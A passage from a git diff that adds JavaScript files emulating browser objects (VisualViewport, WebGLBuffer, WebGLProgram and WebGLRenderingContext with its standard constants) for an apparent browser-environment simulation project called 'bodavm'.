bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "offsetLeft_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "offsetTop", {configurable:true, enumerable:true, get:function offsetTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "offsetTop_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "pageLeft", {configurable:true, enumerable:true, get:function pageLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "pageLeft_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "pageTop", {configurable:true, enumerable:true, get:function pageTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "pageTop_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "width_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "height_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "scale", {configurable:true, enumerable:true, get:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "scale_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onresize_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('VisualViewport', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onscroll_set", arguments)}},'prototype'); + +bodavm.memory.globalobj[ 'visualViewport']={} +bodavm.memory.globalobj[ 'visualViewport'].__proto__ = bodavm.memory.globalobj['VisualViewport'] .prototype + + + + diff --git a/env_xbb_lastest_jsdom/env copy/WebGLBuffer.js b/env_xbb_lastest_jsdom/env copy/WebGLBuffer.js new file mode 100644 index 00000000..d6097381 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/WebGLBuffer.js @@ -0,0 +1,3 @@ +// WebGLBuffer对象 +bodavm.memory.globalobj['WebGLBuffer'] = function WebGLBuffer(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLBuffer'], "WebGLBuffer"); diff --git a/env_xbb_lastest_jsdom/env copy/WebGLProgram.js b/env_xbb_lastest_jsdom/env copy/WebGLProgram.js new file mode 100644 index 00000000..6c696f9d --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/WebGLProgram.js @@ -0,0 +1,3 @@ +// WebGLProgram对象 +bodavm.memory.globalobj['WebGLProgram'] = function WebGLProgram(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLProgram'], "WebGLProgram"); diff --git a/env_xbb_lastest_jsdom/env copy/WebGLRenderingContext.js b/env_xbb_lastest_jsdom/env copy/WebGLRenderingContext.js new file mode 100644 index 00000000..d07366e1 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/WebGLRenderingContext.js @@ -0,0 +1,737 @@ +// WebGLRenderingContext对象 +bodavm.memory.globalobj['WebGLRenderingContext'] = function WebGLRenderingContext(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLRenderingContext'], "WebGLRenderingContext"); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:256}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:1024}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:16384}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POINTS", {configurable:false, enumerable:true, writable:false, value:0}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINES", {configurable:false, enumerable:true, writable:false, value:1}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_LOOP", {configurable:false, enumerable:true, writable:false, value:2}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_STRIP", {configurable:false, enumerable:true, writable:false, value:3}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLES", {configurable:false, enumerable:true, writable:false, value:4}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_STRIP", {configurable:false, enumerable:true, writable:false, value:5}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_FAN", {configurable:false, enumerable:true, writable:false, value:6}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ZERO", {configurable:false, enumerable:true, writable:false, value:0}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE", {configurable:false, enumerable:true, writable:false, value:1}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:768}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:769}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:770}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:771}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:772}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:773}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_COLOR", {configurable:false, enumerable:true, writable:false, value:774}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_COLOR", {configurable:false, enumerable:true, writable:false, value:775}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA_SATURATE", {configurable:false, enumerable:true, writable:false, value:776}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_ADD", {configurable:false, enumerable:true, writable:false, value:32774}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION", {configurable:false, enumerable:true, writable:false, value:32777}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_RGB", {configurable:false, enumerable:true, writable:false, value:32777}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_ALPHA", {configurable:false, enumerable:true, writable:false, value:34877}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32778}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_REVERSE_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32779}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_RGB", {configurable:false, enumerable:true, writable:false, value:32968}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_RGB", {configurable:false, enumerable:true, writable:false, value:32969}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:32970}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:32971}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32769}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32770}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32771}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32772}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_COLOR", {configurable:false, enumerable:true, writable:false, value:32773}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34962}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34963}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34964}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34965}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STREAM_DRAW", {configurable:false, enumerable:true, writable:false, value:35040}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STATIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35044}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DYNAMIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35048}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34660}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_USAGE", {configurable:false, enumerable:true, writable:false, value:34661}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_VERTEX_ATTRIB", {configurable:false, enumerable:true, writable:false, value:34342}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT", {configurable:false, enumerable:true, writable:false, value:1028}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BACK", {configurable:false, enumerable:true, writable:false, value:1029}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_AND_BACK", {configurable:false, enumerable:true, writable:false, value:1032}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_2D", {configurable:false, enumerable:true, writable:false, value:3553}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE", {configurable:false, enumerable:true, writable:false, value:2884}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND", {configurable:false, enumerable:true, writable:false, value:3042}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DITHER", {configurable:false, enumerable:true, writable:false, value:3024}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_TEST", {configurable:false, enumerable:true, writable:false, value:2960}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_TEST", {configurable:false, enumerable:true, writable:false, value:2929}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_TEST", {configurable:false, enumerable:true, writable:false, value:3089}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FILL", {configurable:false, enumerable:true, writable:false, value:32823}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32926}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32928}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NO_ERROR", {configurable:false, enumerable:true, writable:false, value:0}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_ENUM", {configurable:false, enumerable:true, writable:false, value:1280}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_VALUE", {configurable:false, enumerable:true, writable:false, value:1281}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_OPERATION", {configurable:false, enumerable:true, writable:false, value:1282}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "OUT_OF_MEMORY", {configurable:false, enumerable:true, writable:false, value:1285}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CW", {configurable:false, enumerable:true, writable:false, value:2304}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CCW", {configurable:false, enumerable:true, writable:false, value:2305}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_WIDTH", {configurable:false, enumerable:true, writable:false, value:2849}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_POINT_SIZE_RANGE", {configurable:false, enumerable:true, writable:false, value:33901}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_LINE_WIDTH_RANGE", {configurable:false, enumerable:true, writable:false, value:33902}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE_MODE", {configurable:false, enumerable:true, writable:false, value:2885}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_FACE", {configurable:false, enumerable:true, writable:false, value:2886}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_RANGE", {configurable:false, enumerable:true, writable:false, value:2928}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2930}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2931}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_FUNC", {configurable:false, enumerable:true, writable:false, value:2932}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2961}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FUNC", {configurable:false, enumerable:true, writable:false, value:2962}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FAIL", {configurable:false, enumerable:true, writable:false, value:2964}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:2965}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:2966}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_REF", {configurable:false, enumerable:true, writable:false, value:2967}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:2963}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2968}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FUNC", {configurable:false, enumerable:true, writable:false, value:34816}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FAIL", {configurable:false, enumerable:true, writable:false, value:34817}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:34818}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:34819}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_REF", {configurable:false, enumerable:true, writable:false, value:36003}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:36004}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:36005}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VIEWPORT", {configurable:false, enumerable:true, writable:false, value:2978}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_BOX", {configurable:false, enumerable:true, writable:false, value:3088}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:3106}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:3107}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3317}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "PACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3333}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:3379}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VIEWPORT_DIMS", {configurable:false, enumerable:true, writable:false, value:3386}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SUBPIXEL_BITS", {configurable:false, enumerable:true, writable:false, value:3408}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RED_BITS", {configurable:false, enumerable:true, writable:false, value:3410}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREEN_BITS", {configurable:false, enumerable:true, writable:false, value:3411}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLUE_BITS", {configurable:false, enumerable:true, writable:false, value:3412}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA_BITS", {configurable:false, enumerable:true, writable:false, value:3413}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BITS", {configurable:false, enumerable:true, writable:false, value:3414}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BITS", {configurable:false, enumerable:true, writable:false, value:3415}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_UNITS", {configurable:false, enumerable:true, writable:false, value:10752}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FACTOR", {configurable:false, enumerable:true, writable:false, value:32824}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_2D", {configurable:false, enumerable:true, writable:false, value:32873}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_BUFFERS", {configurable:false, enumerable:true, writable:false, value:32936}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLES", {configurable:false, enumerable:true, writable:false, value:32937}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_VALUE", {configurable:false, enumerable:true, writable:false, value:32938}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_INVERT", {configurable:false, enumerable:true, writable:false, value:32939}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPRESSED_TEXTURE_FORMATS", {configurable:false, enumerable:true, writable:false, value:34467}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DONT_CARE", {configurable:false, enumerable:true, writable:false, value:4352}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FASTEST", {configurable:false, enumerable:true, writable:false, value:4353}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NICEST", {configurable:false, enumerable:true, writable:false, value:4354}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GENERATE_MIPMAP_HINT", {configurable:false, enumerable:true, writable:false, value:33170}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BYTE", {configurable:false, enumerable:true, writable:false, value:5120}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_BYTE", {configurable:false, enumerable:true, writable:false, value:5121}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHORT", {configurable:false, enumerable:true, writable:false, value:5122}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT", {configurable:false, enumerable:true, writable:false, value:5123}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT", {configurable:false, enumerable:true, writable:false, value:5124}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_INT", {configurable:false, enumerable:true, writable:false, value:5125}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT", {configurable:false, enumerable:true, writable:false, value:5126}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT", {configurable:false, enumerable:true, writable:false, value:6402}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA", {configurable:false, enumerable:true, writable:false, value:6406}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB", {configurable:false, enumerable:true, writable:false, value:6407}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA", {configurable:false, enumerable:true, writable:false, value:6408}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE", {configurable:false, enumerable:true, writable:false, value:6409}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE_ALPHA", {configurable:false, enumerable:true, writable:false, value:6410}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_4_4_4_4", {configurable:false, enumerable:true, writable:false, value:32819}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_5_5_1", {configurable:false, enumerable:true, writable:false, value:32820}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_6_5", {configurable:false, enumerable:true, writable:false, value:33635}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35632}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35633}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:34921}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36347}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VARYING_VECTORS", {configurable:false, enumerable:true, writable:false, value:36348}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35661}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35660}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:34930}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36349}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADER_TYPE", {configurable:false, enumerable:true, writable:false, value:35663}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DELETE_STATUS", {configurable:false, enumerable:true, writable:false, value:35712}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINK_STATUS", {configurable:false, enumerable:true, writable:false, value:35714}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VALIDATE_STATUS", {configurable:false, enumerable:true, writable:false, value:35715}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ATTACHED_SHADERS", {configurable:false, enumerable:true, writable:false, value:35717}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35718}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_ATTRIBUTES", {configurable:false, enumerable:true, writable:false, value:35721}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADING_LANGUAGE_VERSION", {configurable:false, enumerable:true, writable:false, value:35724}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_PROGRAM", {configurable:false, enumerable:true, writable:false, value:35725}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEVER", {configurable:false, enumerable:true, writable:false, value:512}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LESS", {configurable:false, enumerable:true, writable:false, value:513}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "EQUAL", {configurable:false, enumerable:true, writable:false, value:514}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LEQUAL", {configurable:false, enumerable:true, writable:false, value:515}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREATER", {configurable:false, enumerable:true, writable:false, value:516}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NOTEQUAL", {configurable:false, enumerable:true, writable:false, value:517}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GEQUAL", {configurable:false, enumerable:true, writable:false, value:518}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALWAYS", {configurable:false, enumerable:true, writable:false, value:519}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "KEEP", {configurable:false, enumerable:true, writable:false, value:7680}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPLACE", {configurable:false, enumerable:true, writable:false, value:7681}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR", {configurable:false, enumerable:true, writable:false, value:7682}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR", {configurable:false, enumerable:true, writable:false, value:7683}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVERT", {configurable:false, enumerable:true, writable:false, value:5386}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR_WRAP", {configurable:false, enumerable:true, writable:false, value:34055}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR_WRAP", {configurable:false, enumerable:true, writable:false, value:34056}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VENDOR", {configurable:false, enumerable:true, writable:false, value:7936}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERER", {configurable:false, enumerable:true, writable:false, value:7937}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERSION", {configurable:false, enumerable:true, writable:false, value:7938}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST", {configurable:false, enumerable:true, writable:false, value:9728}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR", {configurable:false, enumerable:true, writable:false, value:9729}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9984}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9985}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9986}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9987}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MAG_FILTER", {configurable:false, enumerable:true, writable:false, value:10240}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MIN_FILTER", {configurable:false, enumerable:true, writable:false, value:10241}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_S", {configurable:false, enumerable:true, writable:false, value:10242}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_T", {configurable:false, enumerable:true, writable:false, value:10243}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE", {configurable:false, enumerable:true, writable:false, value:5890}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34067}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34068}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", {configurable:false, enumerable:true, writable:false, value:34069}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", {configurable:false, enumerable:true, writable:false, value:34070}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", {configurable:false, enumerable:true, writable:false, value:34071}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", {configurable:false, enumerable:true, writable:false, value:34072}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', 